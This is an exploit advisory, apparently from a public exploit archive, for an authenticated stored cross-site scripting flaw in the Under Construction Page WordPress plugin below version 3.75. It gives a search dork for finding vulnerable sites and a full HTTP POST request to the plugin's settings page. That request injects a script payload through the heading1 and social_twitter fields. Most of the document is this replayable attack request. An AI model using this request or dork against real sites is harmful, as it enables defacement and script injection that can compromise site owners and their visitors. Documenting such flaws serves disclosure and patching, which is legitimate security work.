Underconstructionpage Cross Site Scripting

`+-------------------------------------------------------------------------+  
# Exploit Title : Underconstructionpage < 3.75 - Authenticated Stored XSS  
# version : All  
# Author : @atmon3r  
# Date : 04/06/2020  
# Software Link : https://underconstructionpage.com/  
# Dork : inurl:'/plugins/under-construction-page'  
+-------------------------------------------------------------------------+  
  
  
[+] Exploits  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: fr-FR,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: http://localhost/wp-admin/options-general.php?page=ucp  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 1397  
Origin: http://localhost  
DNT: 1  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
  
  
option_page=ucp_options  
action=update  
_wpnonce=d53f9c8724  
_wp_http_referer=/wp-admin/options-general.php?page=ucp  
ucp_options[status]=1  
ucp_options[end_date]  
ucp_options[ga_tracking_id]  
ucp_options[theme]=plain_text  
ucp_options[custom_css]  
ucp_options[title]=[site-title] is under construction  
ucp_options[description]=[site-tagline]  
ucp_options[heading1]=Sorry, we're doing some work on the site"/><script>alert(1337)</script>  
ucp_options[content]=Thank you for being patient. We are doing some work on the site and will be back shortly.  
  
&nbsp;  
ucp_options[login_button]=1  
submit=Save Changes  
ucp_options[social_facebook]  
ucp_options[social_twitter]=https://twitter.com/"/><script>alert(1337)</script>  
ucp_options[social_google]  
ucp_options[social_linkedin]  
ucp_options[social_youtube]  
ucp_options[social_vimeo]  
ucp_options[social_pinterest]  
ucp_options[social_dribbble]  
ucp_options[social_behance]  
ucp_options[social_instagram]  
ucp_options[social_vk]  
ucp_options[social_telegram]  
ucp_options[social_skype]  
ucp_options[social_whatsapp]  
ucp_options[social_email]  
ucp_options[social_phone]  
ucp_options[whitelisted_roles][]=administrator  
ucp_options[license_key]=1337-1337-1337-1337  
  
# The End //  
`